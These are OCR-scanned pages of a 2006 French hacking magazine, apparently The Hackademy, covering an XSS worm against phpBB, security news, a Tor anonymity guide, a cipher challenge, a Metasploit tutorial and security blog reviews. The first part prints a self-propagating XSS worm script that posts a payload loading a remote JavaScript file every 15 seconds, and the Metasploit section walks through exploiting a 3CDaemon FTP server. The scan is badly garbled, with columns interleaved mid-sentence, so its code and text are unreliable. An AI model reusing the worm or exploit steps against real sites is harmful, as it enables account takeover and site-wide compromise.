1998 déja, qui a infroduit un objet ActiveX
pour Internet Explorer 5.0 permetiant de
scripter ces requétes. Nous en avions déja
parlé il y a quelque temps, puisque cet objet
jougit un réle clé dans les attaques par Cross
Site Tracing. Depuis, les autres navigateurs
proposent une inferface équivalente, sous e
nom de XmlHtpRequest.

On peut croire, d tort, que cette fonctionnalité
nuit  la sécurité du Web - comme on conseil-
[ait d'ailleurs il y a quelques années de désoc-
fiver le jovoscript. Pourtant, on pouvait déja
provoquer des requétes HTTP quelconques en
JS, simplement en créant un formulaire invisi-
ble et en utilisant la méthode submit(). La
seule différence est qu'avec cette API, on peut
récupérer le contenu retourné par la requéte.

User-Agent! Moalla/Ss.0 (Windows; Us Windows NT 5,15 fr; rvi118.0.4) Geckn/20060508 Firefox/1.5.0.4
Accept: applcation/x-shockwave-flash, bext/xmi, applicationxml, applcationfxhtmbxmi bext htrl; q=0.9,text fpk

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,enjq=0.3

Accept-Encoding: guip, defiste

Accept-Charset: [50-8859-1,utf-8;q=0.7,%1q=0.7
Keep-Alivet 300

Connaction: keep-alive

Referer: pH/}127.0.0,1/2019/phpBB2/posting.phpTmodesnentopictF=1
Cookist phpbb2mysql datas=a%3A29%3A% 7B 3A1 1% IAN22autologinid 229 385 % 3A 33N IAN221 41466

Content-Type: application/x-www-form-urlencoded

Content-Length: 381

[Le Confemy do nofre requéte ]

| subject=zheckbaddbbeods 1 8=taddbbcode20=ahelpbox=Bimessage="%3Cpre-+a% 30 %2? % IER27+onn

LiveHTTPheaders en action
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Voici le code final de notre script : ; phpRB
// JavaScript Document phpBB est un logiciel de forum développé en
function do_request(){ PHP et utilisant une huse de données. Il est
if (window.XMLHttpRequest) // Firefox, Safari, ... trés répandu, d'une part parce qu'il est trés
xmlhttp = new XMLHttpRequest(); 8 simple @ mettre en place, et d'autre part car il
else if (window.ActiveXObject) // Version IE B ne nécessite pas de connaissances parficulié-
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP"); (8 res. Par ailleurs, phpBB étant gratuit et distri-
data = B bué sous licence GPL (Open Source), il attire
"subject=zihackamessage=%3Cpre+at3D$27%$3E327+onmouseoveri3D [l ctnormément de webmausters. Par conséquent,
$27document .write$28%22%3Cscripttsrct3Ds60ht tpi3AT2FE2F127. M heaucoup de personnes étudient également
0.0.1%2Fxssvirus$2FPOSTS2Fphpbb. j s$60%3E33C2Fscript336522% Bl son code source, a la recherche de failles.
29%27+b%3D%2733Cpre327+33E30D20AL5Bbs5DHackademy+Powat5B%2F [l Site offidiel :
b%5D%0D%0A%3CS2Fpret3E&topictype=0&poll title=&add poll opt
ion_text=&poll_ length=&mode=newtopic&f=l&post=Submit"; Telécharger les anciennes versions :

xmlhttp.open("POST",
"http://127.0.0.1/2019/phpBB2/posting.php",
true);
xmlhttp.setRequestHeader( :
'Content-Type ', i [1]: http://securityreason.com/
'application/x-www-form-urlencoded'); securityalert/313
[2] : http:/llivehttpheaders.
xmlhttp.send(data); // envoie de la requéte mozdev.org/ ;
[3] : http://www.httpwatch.com/
: editions.htm
// execution toutes les 15 secondes : [4] ¢ http:/iaidejavascript.com/
setInterval("do_request()", 15000); article75.html

-

par seconde, le nombre de Go de données * AJAX
i envoyées aurait été considérable ! { | *Web 2.0
Cela aurait pu mettre a plat n'importe * XML
¢ quel site... ¢ | HetpRequest
{ i | +JSON
Blwood : | - Document
(UN GRAND MERCI A THE_VIP) Object Model

Chaetozone setosa © Hans Hillewaert, ‘
Belgian continental shelf. CC by-sa/2.5/

Les worms xss peuvent aussi servir a : -
spammer (cf Yamanner) ou & mener des :
attaques DDOS. Dans le cas de worms

Spirobranchus giganteus © 2004 Richard Ling FDL




Alerte ! | & web en bref

i3l

les newrs qlu ont ottlre notfe attention

Mé MySpace

Samy est devenu si populaire (voir article
précédent) qu'il a fait des émules.
Connaissant un succés encore plus fulgu-
rant que  MySpace, le site
MyYearBook.com a lui aussi été la vic-
time d'un worm dévastateur. Le cas est

servanviee

cependant beaucoup plus grave, parce :
que MyYearBook a été concu par des !
i chargé de détecter des anomalies.
i D'aprés cette déposition, I'ex-stagiaire

personnes manifestement ignares en
matiére de sécurité. Non seulement les
profils des membres comportaient au
moins une vingtaines de failles XSS (le fil-

trage, sucrant tous les backslashs, était :

aisément contournable : <scri\pt>), mais i DGSE.

en plus I'email et le mot de passe des
membres étaient stocké en clair dans
des cookies !

A ce jour |2 variantes du Worms exis-
tent, l'une permet de gagner en popula-
rité, I'autre de gagner des amis automati-
quement, etc...

Le code source des variantes connues
est disponible sur :
http://ha.ckers.org.

Clearstream:
crois ce que tu vois

Le Figaro a publié¢[ 1] en juin la déposition
de Florian Bourges, l'un des acteurs de
I'affaire Clearstream[2]. Pour rappel, cet
informaticien avait eu accés, en tant que

: Les faits dwers de la sécurité informatique ne

-manquent pas sur le Web. Voici une sélection de

quelques dépéches croustillantes.

Mot de passe en clair ?!

¢ dans la presse. On peut donc supposer

stagiaire lors d'un audit interne de la :
filiale francaise de Clears_tream, a des lis-
tings de comptes, dans lesquels il était

que cette copie du document, normale-
ment soumis au secret de l'instruction, a

: été transmis 2 la rédaction du quotidien
i sous la forme d'une photocopie papier:

qu'il prenait alors pour un agent de la ;

Il est particuliérement intéressant de
: découvrir dans ce document les diffé-

rents éléments qui permettent a Florain

Bourges de faire |e rapprochement entre :

sa version du listing, et celle, falsifice, :
recu par le juge Ruymbeke. Il fait aussi :
référence aux meta-informations conte- :
nues dans les divers documents électro- :
niques relatif a ['affaire et qu'ila euensa :
position, et hotamment aux historiques :

: de fichiers au format Word.

i Ces méta-données, comme toute infor- :
i mation numérique non signée, sont falsi-
: fiables et ne peuvent probablement pas :
i faire office de preuve, au sens juridique
du terme. Ce n'est pourtant pas une rai- :

: son pour en négliger l'importance !

i A titre d'exemple, voici ce que le PDF

publié sur le site du Figaro révele[3] :

$ extract clearstreml.pdf

: modification date -

20060609193137+02'00"
creation date -
20060609193126+02'00"

format - PDF 1.4
page count - 18
producer - Adobe PDF Library 7.0
creator - Adobe InDesign CS2 (4.0)
mimetype - application/pdf

Pas de scoop ici : on constate juste que

: le pdf a été créé le 9 juin, jour de la mise

i en ligne, soit 48h aprés la déposition, 2

l'aide d'un logiciel de PAO trés courant

i affirme avoir remis une copie de ce lis- [11. http:/iwww.lefigaro.fr/pdf/

: ting & Denis Robert, puis 4 Imad Lahoud

clearstream1.pdf

[2]. hitp:/ifr.wikipedia.org/wiki/
Affaire_Clearstream_2

[3]. http://gnunet.org/libextractor/

Cross Site Cooking

: Cela date un peu, mais vaut la peine

d'étre signalé dans ce numéro, trés axé
sur la sécurité VWeb. M. Zalewski (Ilcam-
tuf) a mis en évidence[l] trois: problé-
mes majeurs dans |a gestion des cookies
et des domaines associés. Pour rappel,
les cookies sont stockés en fonction
d'un domaine ou d'un sous-domaine,

¢ déterminants pour les contrdles d'accés.

Un site, par exemple http://forum.exam-
ple.com, peut enregistrer des cookies



rattachés a son sous-domaine
(forum.example.com), mais aussi au

domaine global (.example.com), pour :

que la session de ['utilisateur soit vala-

bles sur toutes les parties du site, par :

exemple. Par contre, on ne peut pas

accéder au ou modifier les cookies de :
forum.example.com depuis un site sur i

un autre sous-domaine
perso.example.com.

Il est théoriquement impossible d'enre-
gistrer un cookie pour un top level
domain (TLD) comme .com ou .org,
pour éviter des problémes de sécurité
(un cookie qui se propage sur tous les
sites en .com pourrait avoir des effets
pervers). Pour éviter cela, les navigateurs
sont sensés[2] suivre une régle simple :
refuser les cookies associés a un
domaine en .com, .edu, .net, .org, .gov,
.mil, ou .int s'il ne contient pas au moins
deux points (afin qu'il y ait au moins un
domaine), ou s'il ne contient pas au
moins trois points pour les autres TLD
(afin d'éviter les cookies sur .co.uk ou
.gouv.fr par exemple).

Premier probleme : ni IE, ni
Mozilla/Firefox ne semblent suivre com-
plétement cette régle. lls acceptent ainsi
des cookies pour un domaine de la
forme oox.fr, par exemple. Deuxieme
probléme : il n'est pas nécessaire, tou-
jours pour IE et Firefox, qu'il y ait quel-
que chose entre les points. On pourrait
ainsi enregistrer un cookie sur le
domaine .com. (avec un point final), qui
sera valable pour les sites auxquels on
accéde de cette maniére : http://exam-
ple.com. (idem). Un troisiéme probléme,
plus tordu, permet de forcer quelqu'un a

comme

“envoyer un cookie arbitraire sur un ser-

veur web cible en utilisant un reverse

dns.Voir le post[I] pour plus de détails.

[1]- http://lists.grok. org uk/
pipermail/ful :

L permet de
falre de la messagerie instantanée et des
transferts de fichiers (basé sur Gaim,
avec une couche de crypto) et utilise Tor

.
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(voir l'article de la rubrique Découverte)
pour le transport anonyme des paquets.
Ceux qui ont plus besoin de confidentia-
lité que d'anonymat et qui désirent utili-
ser un logiciel plus conventionnel peu-
vent aussi essayer Psi[3], un client
Jabber (possibilité d'utiliser des passerel-
les vers MSN,AIM, ICQ, etc.) permettant
de chiffrer les conversation a l'aide de
clés PGP/GPG.

[11: hltp.wamhopenumbersix.netf
[2] : hitp://fwww.scatterchat.com
[3] : hitp:/ipsi-im.org

Cipher.org a mis en ligne un outil inté-
ressant mettant en avant les possibilité
de Google en matiére de recherche de
vulnérabilités. L'idée est simple :faire une
recherche sur des motifs typiques de

certaines vulnérablhtes a travers les

i,

Comment fait le gouvernement chinois
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have permanently accepted lordspankatron’s
’Eﬁmuumusncmncmﬂm 60 A1 mwm

pour censurer les parties du Web qui
ne lui plait pas ? Un billet[1] de I'univer-
sitaire Richard Clayton nous éclaire
quelque peu sur le sujet. L'un des dis-
positif mis en place, explique-t-il, est
capable de détecter certains mots clés
dans les requétes http ou dans les
pages html servies. Pour des raisons
de performances, ces ‘mouchards ne

donc de faire comme Harry Potter et
de marcher les yeux fermés vers le mur
du quai 92...
[1] http/Amwwlightbluetouchpaper.org/
2006!06:'27ﬁgnonng-ﬂ19-greatﬁrewall-
of-chinal
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Les nouveaunx ou

Bonus ¢ creer un email mtmmbg@

Il peut parfois étre utile de rester anonyme lors de la
création d'un compte ou bien lors de I'acceés a certains
sites nécessitant une identification. Rester complétement
anonyme n'est pas chose facile en raison des multiples
traces que nous laissons tout au long de notre

ous allons
prendre un
cas simple :
un internaute veut
accéder de
maniére anonyme
a un site qui
demande une
authentification,
Comment faire
alors pour rester
completement
anonyme lors de l'accés a celui-ci et sur-
tout éviter tous les piéges pour qu'il n'y
ai aucune fuite d’information ?

Les traces du navigateur

Les informations que votre navigateur
laisse passer, directement ou indirecte-
ment, sont trés souvent négligées, mais
permettent, dans bien des cas, d'avoir
une idée précise sur la personne qui
accéde a un site. En effet, les traces que
vous pouvez laisser sont multiples : réso-
lution de I'écran, version du navigateur,
systeme d'exploitation, heure de Ia
machine, etc. Ainsi, un utilisateur se
connectant a un site sans proxy et qui se
reconnecterait au méme site deux minu-
tes aprés avec un proxy peut facilement
étre identifiable. Ce cas de figure s'est
déja vu lors d'analyses de logs :un inter-
naute mal intentionné avait visualisé cer-
taines pages bien précises et quelques
secondes aprés, était revenu sur les
mémes pages avec un proxy pour y faire
des tests douteux.. Ceci est d'autant
plus vrai pour les cookies :lorsqu'un uti-

By Mister X
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lisateur est automatiquement logué sur :

sa page d’accueil avec un proxy , on peut
remonter a |ui sans probléme. Si le but
des cookies est de fournir des informa-
tions sur les utilisateurs, ce n'est pas
pour rien ! Pensez donc a tout nettoyer,
masquer les paramétres de votre naviga-
teur et désactiver tout ce qui est en flash
(voir l'extension flashblock pour
Firefox), java et javascript qui peuvent
récupérer encore plus d'informations
sur votre navigateur. |l est méme

R A

LT P T TP

i ‘havigation.

Se protéger de qui ?

L'information est publique : certains serveurs
IRC de Freenode ont été compromis en juin
2006 - et ce n'est sans doute ni la premiere,
ni la derniére fois. Cela nous montre que la
confidentialité de nos conversafions privées
n‘est pas garantie a priori, que ce soif du chat
ou des échanges de mails.

D'autre part, de plus en plus d'entreprises uti-
lisent des techniques « d'intelligence économi-

que » plus ou moins agressives ef plus ou
moins respectueuses de nos vies privées,

Les techniques d'anonymat présentées dans
cet article, parce qu'elles empéchent le tra-
cuge des activités d'un infernaute, rendent
plus difficiles les attaques ciblées sur des indi-
T

conseillé d'en utiliser un spécialement
dédié au surf anonyme (c'est l'occasion
de tester Galeon, Opera, etc.), ou au
moins de créer un profil Mozilla/Firefox
réservé a ce type d'activiteé.

SARsavAsTEATSATIATEAILLE
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Si vous &tes septique, consultez les archi- :

ves de cette conférence du dernier
SSTIC :

http://actes.sstic.org/
SSTICOé/Vulnerabilite_des postes_clients

Vadresse iP

Votre IP est l'information la plus critique

(c'est I'adresse de votre machine), ce qui
explique que de ‘nombreuses personnes

s'interrogent sur la meilleure fagon de la :

masquer. Pendant plusieurs années, la
meilleure solution était de passer par un
proxy public. Néanmoins, un proxy. est

trés lent et ne garantit I'anonymat que
dans une certaine mesure. Si le proxy est
compromis ou bien si ses logs sont
accessibles, tout s'effondre et la protec-
tion n'est plus d'aucune utilité. Une
méthode efficace consistait 4 chainer les
proxy, ce qui ralentissait encore plus la
connexion.

Mais le logiciel Tor, de I'Electronic Frontier
Foundation (EFF), est maintenant a notre
disposition. C'est I'outil qui a révolutionné
I'anonymat. Le fonctionnement de Tor est
le suivant : le client récupére la liste des
serveurs ou des noeuds du réseau qui
sont répartis a travers le monde. Il sélec-
tionne un chemin aléatoire vers la cible en
passant par plusieurs noeuds, dont le der-
nier faic office de passerelle. Les noeuds
passerelles sont particuliers, et sont géné-
ralement mis en place par des organisa-
tions ou des universités. Certaines passe-
relles n'acceptent que les connections
vers le port 80 (web); d'autres ne sont pas
limitées.

La communication est entiérement cryp-
tée du client jusqu'au dernier noeud. Il
est impossible de remonter 4 |a source a
partir de la destination, pas méme de




savoir si le paquet qui transite par vous
vient directement du noeud qui vous I'a
transmis, ce qui garantit un trés grand
niveau de confidentialité. Cerise sur le
giteau : le débit et la latence sont tout a
fait acceptables.

Instaliation te tor

Sous Windows, ['installation est tout ce
qu'il y a de plus standard. Un exécutable
a télécharger puis quelques clics sur sui-
vant. Il ne reste alors plus qu'a lancer tor.
Il suffit dés lors de configurer votre navi-
gateur comme sur la capture d'écran.

Il existe des extensions firefox permet-
tant d'automatiser cette tiche tel que le
plugin Tor-Button. Un autre outil,

SwitchProxy, que nous yous. avons: pré-

senté il y a quelques numéros, permet d

: puser vos protacoiespar prwoxy p}utot

 Sous linux, il faut mstaller tor ainsi que

basculer d’'une connexion normale a une
anonyme en un clic. Pensez a bten faire

sevsaunsEran

(SO

r directement pour étre sir .
reancnymat. En effet, votre naviga- : L
i des traces A

v

privoxy. Tous les deux s'installent de la :

maniére classique : ./configure &&
maque suivi d'un make install en root.

reeEreErtaEeTraTny
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Des vulnérabilités sérieuses mais rapidement corrigées ont été découvertes dans Tor ces derniers
mois. Outre quelques dépassements de tampon, une faiblesse dans ['algorithme de routage permet-
fait certaines attagues statistiques pouvan révéler, dans certains cas, 'origine des paquets. Ce fype
d'attaques n'est cependant pas facile a mettre en oeuvre hors laboratoire, et ne constitue pas un
danger sérieux pour un ufilisateur normal. Mais si c'est une question de vie ou de mort, il vaut tout
de méme mieux prendre des précautions supplémentaires.

Les paranofaques peuvent consulter I'historique des vulnérabilités su

Les plus avertis choisiront les packages
pour leur distribution préférée.

Une fois installé, ajoutez «
socks4a / localhost:9050 . » dans
fichier de conflg__ )

prathue pour les connexions ssh irc .

Je vous invite & trouver sur le wiki de :
thehackademy un petit script pour votre :
shell, qui vous permettra de toujours :

savoir si vous utilisez tor ou non.

forward-
le

FneaEr s

|l est intéressant de noter que désor-
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mais, certains sites ou chat empéchent
Paccés a leurs services aux utilisateurs
de tor, attention donc aux abus ...

Tor n'e

I'anonymat ne vous dégage pas de vos res-
nonsabilités, alors ne foites pas n'importe
quoi.

II'est facile d'interdire l'acces @ un service aux
utilisateurs de Tor, en cas d'abus répétes.
Voici un exemple :

est pas un jo

Voir aussi comment Tor est accueilli sur
Freenode :
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question. Le premier réflexe serait de
créer une adresse sur un web mail gra-
tuit. Cela devient alors vite fastidieux si
pour chaque inscription vous devez
recréer un nouveau mail : parfois, on
vous en demandera un aussi pour le
créer (on se mord la queue). Réutiliser
systématiquement le méme faux compte
ne serait pas non plus une solution car si
vous l'utilisez fréquemment, vous avez
toutes les chances d’y laisser des traces.
Dans tous les cas, un usage trop fréquent
permettra de vous créer une nouvelle
identité numérique ce qui mettra fin a
votre anonymat. Savez-vous qu'en 20
questions, il est possible de déterminer
| exactement a quoi vous pensez !
Une autre solution consiste a utiliser
certaines redirections contre le spam
telles que Trashmail ou SpamGourmet.
Ces systémes vous permettent de créer
une redirection temporaire vers votre
adresse email. Bien entendu, cela ne mar-
che que pour le spam car si vous avez

Bugmenot.com référence des centaines de
login et mots de passes jetables pour des sites
divers, trés pratique lorsqu‘une inscription

intempestive est demandée. Attention, on y
trouve absolument de fout, ef méme des sites
payants.

fourni votre vrai mail & un moment ou a
un autre, il est possible d’en retrouver la
trace. La meilleure solution est d'utiliser
des mails sans aucun mots de passe et
accessibles a tous, permettant juste de
recevoir un code d'activation. C'est ce
genre de service qu'offre MyTrashmail. Il

AN G R AR AT AT EAT AT AT AY AT AT
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vous suffit de taper n'importe quel nom
d'utilisateur et vous accéderez a sa mail
box.Ainsi vous ne laisserez aucune trace,
le mail utilisé étant totalement publique.
Il est également possible de protéger par
mot de passe un compte précis, mais
ceci revient alors aux webmail précé-
dents.

Conciusion

Maintenir son anonymat sur Internet
n'est pas compliqué d'un point de vue
technique, mais est extrémement lourd.
C'est d'ailleurs pour cette raison que
trés souvent, des erreurs sont commises

adresre mail

1. Installez Tor et Privoxy

2. (réez un profil Mozilla/Firefox que vous

n'uiliserez que pour les poins suivants et pour
consulter votre courrier par la suite (ou ufilisez
un avtre navigateur que celui que vous ufili-
sez normalement)

3. Activez Tor sur ce profil et vérifiez votre
configuration

8. Choisissez une adresse jefable qui ne soit

pas associée 0 vous d'aucune maniére

5. Faregisirezvous sur un webmail grand
public avec cette adresse jefable. Pensez a acti-
ver le chiffrement SSL de vos connexions, vu que
en clair, le trafic voyage entre le dernier noeud
passerelle ef le webmail. Gardez également en
téte que vos mails peuvent étre lus si le webmail
est compromis. Pensez a créer une clé GPG.
Attention : cetle marche o suivre peut
éfre contraire aux licences d'tilisation de cer-
tains services utilisés. A vous d'étre attentif
cela et responsable.

3

1132

Configuration du navigateur
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et permettent de remonter sans trop de
problémes a la source. Je pense qu'il est
quasiment impossible de rester en per-
manence anonyme, car on sera obligé 3
un moment ou a un autre de donner une
information qui compromettra tout le
reste puisqu’une identité se sera créée a
travers cet anonymat. Les deux meilleurs
conseils que je peux donner sont de
n'étre anonyme que lorsque cela est
vraiment justifié, car a trop vouloir étre
anonyme, on risque de faire une erreur a
un moment critique. Le second est d'uti-
liser un systéme totalement différent
lors de phases anonymes dans une
machine virtuelle, et qui soit pré-confi-
guré pour étre détruit aprés chaque uti-
lisation. Pour cela vmware offre un
player assez lourd mais efficace qui peut
prévenir de toute fuite d'information s'il
est bien configuré ;)

Mister X.

Liens utiles

et references:
Tor:

http:/itor.eff.org/
Privoxy :
http:/iwww.privoxy.org/
GPG :

http:/iwww.gnupg.org
TorButton :
http:/ifreehaven.net/~squires/
torbutton/
Switch Proxy :
https:/laddons.mozilla.org/
firefox/125/
Veérifier votre config Tor :
hitp:/iserifos.eecs.harvard.edu/
cgi-binf/ipaddr.pl?tor=1
VmPlayer :

http:ivmware.com/
products/player/
20 Questions :
hitp:iwww.20q.net/
Spamgourmet :
hitp:/f'www.spamgourmet.com/
TrashMail :
hitp:/ffr.trashmail.net/
MyTrashMail :
http:/lwww.mytrashmail.com/
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Gryptanalyse, de Ia
theorie a la pratique

Un challenge pour I'été

Pour la rentrée, nous vous proposons de résoudre quelques cryptosystéemes.
Par C.-A. Roh.

A chaque niveau, le message en clair vous apportera des infor-
mations et des indices pour résoudre le niveau suivant. Si le
premier niveau est excessivement simple, le dernier est certai-
nement plus corseé.

Alors bon courage et amusez-vous bien car la cryptanalyse
peut aussi étre ... un plaisir

1" niveau

CYHPT LUAMH JPSL) LWYLT PLYUP CLHBH CLJBU JOPMMYLKL
LZHYK VUASL KLJHS HNLULTLYPA LHBJB ULLEW SPJHA PVUIY
HCVH] LSSLZ LAJLB EXBPM HPZHP LUASL BYZWY LTPLY
ZWHZL UJYFW AHUHS FZLLA XBPVU AJLYA HPULT LUALB
ILHB] VBWKL WSHPZ PYWHY JVUAY LWVBY SLKLB EPLTL
UPCLH BSLZP UKP|L ZZBPC HUAZW VBYYV UACVB ZHPKL
YBULN YHUKL CPSSL KLMYH UJLLA SLJOP MMYLA YLUAL ZPE

2°™ niveau
BCAED BABAF DBDCC DDBCE DCDBC
: FAEDB AFDBC FBADC ADBCC EAACF

BAAFD ADCAE DADCA EBAAE CDAFD

DAEAB DCCFA CAEBC AEBDA ECDDB
AAABA FADBC AEADA FAACF BAAEB

CABAC ACAEB DAECF CEBAE ABBAE
BDAEE FFCCF CEADA FDBAF CECDA

DABDD AEBCE EFCBA AEDBD BACAE
ADCFC EDCAC BCCEA AAAAE CDBCA

EACAE DBBAA EADBC CAAFB EBEAC
AEADB DAEEC ABFFA ECDBE AFCDC

CEB AEAAB BACFC ;
AABBB AEDBA FDADC AEDAD CAFAB
BAAEA AAEAC AFDBA EBDAB DDCEA
FACAD DCACD DAEBC DCAEC FBADC

ADBDA EDBAC CEAFA DADAF AEBCB
AAEAD ADABC DADAE DBACA EBCAB
ADADA EBDAE CDCEA DCBCE DCACA
: DCECD DBACC EDCDD AEDBC EDCAD
BAAEA DAEBA AEAAA ECDDB ADCDA
EBCAE ADADA BAFAC AEADC FCEDC

- ACBAA EBDAE BCACE ACFDB ABBFA

EBDAB CDADD BCAAE CAABB CCCAB
BDAEA AEAAA ABCDD CAEBA CDCEF

CAEDB FDDCC DDDAC ABAFB BCECD
CAAED CACCF CEDCA CBCAE DCDFD

ADCAF DBACA BDDAB AFBAB AAECD
DBAEC DDDBB AFBAC DAEAD DBCFA :

BADCD AEBCA EADAD ABAFA CAEBD
AEBDA FADCF CEADA EACBD AFCDB

DAFBC AEADB CCEAA CFBAA EAAAE
CDDBA BAFAC AEADB CABAC BACEA !

CBDAF CDABD BAEDC ACBDA EDDAC
ABAFD BBEAB AFACA EBAAE DBACA

BDDAB AFBAD BCEDC DBADA EDCBA
CFCED CACBC AEDCD FDADC AFAEA

DADAB EAAEC DDBBD AEBCA BADAD
AEACA BBAAB AAABA FCDBA AEAAC

EDBBC BAAEA EADDB DCCDA BCDAF
AAABB AXXXX

3°™ niveau
GRUXC CTULC HG

- x,ca FQEMT IOWIK
DQ SA@NSFEIN i{KQ?@CSﬁ’HF

ACEABA DDEFCF EDCBAC

Vous trouverez le décryptage et les procédés utilisés dans le prochain
numéro.
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Voutil des pentester

que, les exploits
n'étant pas tous
sous le méme for-
mat et ayant des
noms  quelques
peu mystiques, s’y

By Stormy alors un exploit (le
jeu de mot !).C'est alors qu'interviennent
les frameworks de tests d'intrusion. Il en
existe actuellement trois bien implantés

ette tiche
est d'autant |
plus ardue

v

.

asab s mben

retrouver devient :

: payants comme Core Impact[l] ,CAN- :

VAS[2] ou libre comme Metasploit. C'est

donc tout naturellement que nous nous :

intéresserons au dernier.

Le framework Metasploit permet d'in-
corporer tous ses exploit et de les clas-
ser dans le logiciel afin de pouvoir tous
les réutiliser de la méme maniére, Bien
sli, Metasploit est déja livré avec une
quantité significative d'exploits, mais plus
vous en ajouterez plus il deviendra puis-
sant. Voir aussi Security Forest [3], un
fork de Metasploit, comprenant déja des
centaines d’exploits.

Metasploit a été développé 4 I'origine par
le consultant en sécurité américain HD
Moore et sa premiére version est dispo-
nible depuis quelques années sous licence

GPL. Cet outil était jusque-la codé en !
PERL[4]. Mais le projet est en constante :
évolution et une refonte compléte de :
l'outil a eu lieu cette année. Désormais le :

Framework est entiérement développé

en Ruby, et la création de nouveau :

exploits est un véritable jeu d'enfant.
Quelques lignes suffisent pour avoir un
exploit complet et qui fonctionne.

Son utilisation est d'autant plus simple
qu'il existe plusieurs mode de fonction-
nement différent. Soit une interface web,
qui en quelques clicks permet de mener
une attaque a bien, ou un mode console
légerement plus complexe, mais telle-
ment plus rapide lorsque I'on sait s'en

B
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: Lexercice du test d’instrusion est beaucoup plus

dure en pratique qu’il n’y parait. En effet, les réseaux
et systémes étant tous différents, tout pentester doit
avoir a sa disposition une trés grande variété d’outils
et surtout d’exploit a dispositions.

Flusieurs dizaines dexplolts

les différentes options

Metasploit FrameWork Main Console Help
? Show the main console help
d Change working directory
exit Exit the console
help Show the main console help
info
quit
reloud
save
selq
show
unsety
use
version

Exit the console
Reload exploits and payloads
Save configuration fo disk

Select an exploit by name
Show console version

servir. Dans tous les cas, il suffit de sélec-
tionner |'exploit que I'on veut utiliser, ainsi
que sa charge utile (notamment BindShell).
Plusieurs dizaines d'exploits sont intégrés,
dont par exemple DCOM RPC[5] et les
failles sur serveur Apache[6].

reverse vnc en action

Set a global environment variable
Show available exploits and payloads
Remave a glohal environment variable

Display detailled exploit or payload information

L'environnement Metasploit se révéle
donc d'une approche rapide et intuitive.
De plus, la nature OpenSource du projet
facilite son développement durable.

¢ Véritable arsenal pour les pirates en
: herbe mais surtout outil précieux pour
i les experts en méthodes d'intrusion,

L R (N

Metasploit a pour vocation de devenir
I'outil incontournable en matiére de
sécurité informatique.

i A titre d'exemple, nous allons exploiter

3Com 3CDaemon FTP Server. Nous débu-
tons notre session Metasploit sans plus tar-
der.Voir I'exemple de session ci-contre.

En Bleu figure les commandes inscrites par
['utilisateur; le reste correspondant aux dif-
féerentes sorties de texte en mode
console. Vous noterez qu'il s'agit simple-
ment de spécifier |'ensemble des argu-
ments attendu sans oublier le protocole
adéquat. Une commande info sur I'applica-
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A cet effet, vous remarquerez avec une
! certaine déception peut-8tre que les OS

disponibles pour I'exploitation de cette

vulnérabilité ne sont pas selon les ve
i sions francaises. Ici, tout s L a
¢ modéle anglais seulement. Il faudrait (
i modifier la variable de 4 octets qui
concerne le registre EIP écrasé selon I'OS
ou Service Pack. De cette fagon, il est pos-
sible d'apporter une modification a l'ex-
ploit directement dans le fichier s'y rap-
portant, soit 3com_3cdaemon_ftp_over-
flow.pm (utilisez simplement WordPad).

B T P P

Neéanmoins, attention! Cette méthode
d'intrusion doit étre essentiellement uti-
lisee sur des systémes qui sont sous
votre responsabilité. Il s'agit de vérifier
lintégrité de votre ordinateur. N'allez
pas 'chercher' querelles a d'autres admi-
: nistrateurs. Mais il vous appartient de
i pirater votre propre systéme (ne soyez
: pas trop dur avec vous-méme).

Stormy

Références :

Le projet : http://www.metasploit.com

[1] http:/iwww.coresecurity.com

[2] http:/lwww.canvas.com

[3] hitp:/lwww.securityforest.com/
i [4] http:/iwww.perl.com

tion en étude permet d'

Lors d'une attaque de poste client, celui-ci est
quasi systématiquement sous windows. La
majorité des shellcodes existant ne fond que
hinder un shell et duns le meilleur des cas un
simple reverse connecte. Mais Metasploit
i offre le shellcode absolu. Le reverse vnc. |l
vous suffit de charger win32_reverse_vncin-
ject en payload et vous aurez alors quelques
secondes plus tard I'dcran de la machine cible
finitio adresse IP (locale) : constituer vos propres exploits selon cet : IR GG T OV R DI 1)e]
set RHOST [27.0.0.1 i environnement d'étude. Quelques tuto- : EENRIITICRARNEACA RUTTRTOEIEN
Définition du point d'entrée (port) : riaux sont accordés sur le site Metasploit :
set RPORT 2/ notamment en langue frangaise.
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les blogs de la séeurité

Le biog

est un maitre a
penser. Né le |5
Janvier 1963, et
diplémé en infor-
matique et en phy-
sique, il travailla
pour la défense
américaine. Fondateur du Counterpane
Internet Security, SCHNEIER est un émi-
nent cryptographe : on note, parmi ses
création dans ce domaine, un algorithme
encore inviolé (Blowfish), ainsi que I'un des
plus sérieux candidat & AES (qui, pour :
mémoire, fut un « concours » internatio-
nal de création d'algorithme visant a rem-
placer DES, algorithme standard).

URL :
Hitp:/fwww.schneier.com/blog/
(anglais)

Donne nous notre buy
quotidien

Saviez-vous qu'lnternet Explorer com- :
portait certains problémes de sécurité ?
Et bien, c'est le cas.

Et contrairement 4 |'opinion qu'en a son
éditeur, le navigateur qui reste encore le
plus utilisé au monde a de quoi dis-
traire, a l'instar de bashfr.org, chaque
jour. En effet, le créateur de ce blog inti-
tulé « Browser fun » qui n'est autre que
l'auteur de Metasploit, H.D. MOORE,
nous gracie d'une description d'un bug
IE, 4 raison, en moyenne, d'une fiche par
jour.

URL : hitp://browserfun.blogs-
pot.com/ (anglais)

“Un bug IE
par jour!”

By Koreth
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Schneier on Security
A weblig covering security and sty teeknology.

Friday ﬁquid Blogging! A Marine Rislogist Conments oi "Pirates of the
Caribbean
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Bt wol Sl 380 2058 01 202 4 | Comoisoti(a) | Tusiask (o)

: On ne parle plus que de cela depuis des mois maintehﬁr‘it'
j : la blogmania a envahi le Web. Simplicité, prattque,’
| de er,e : :
I- schineler i tout pour donner envie de faire un album photo, un
| Bruce SCHNEIER : journal intime, voire méme un site complet, basé sur
un simple blog. Et le monde de la sécurité n'y
échappe pas...
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Is Accountability the key to Security? [ Search|

July 14th, 2006

Pages
Several years ago 1 was in a meeting with a bunch of execs from a » About Us
number of high level security companies, talking about ways to :
improve Intemet security globally, It was a bit of a big wig Archives
brainstorming session, Most of the comments 1 heard were innane « July 2006
things like "We need IPVE globallyt That would get rid of NAT!” and »i‘”:: ;;00:

"aAn IPS in every home would solve everything.” As we went around
the table I heard more and more il thought through ideas that
probably would do enly more harm than good for internet security.
Then came my tum,

» January 1970

Categories
» Anti-Virus {1}
» BSD and *NIX (2]
» CAPTCHA (2)
» Phishing (6}
» Random Security {7}
» SEQ (18)
» gpam (7}
» Webappsec (113}
» Wireless Seeurity (2}
» XSS {99)

I looked at these execs who were all more than 10-15 years older
than 1, with presumably the same level business accumen, and I
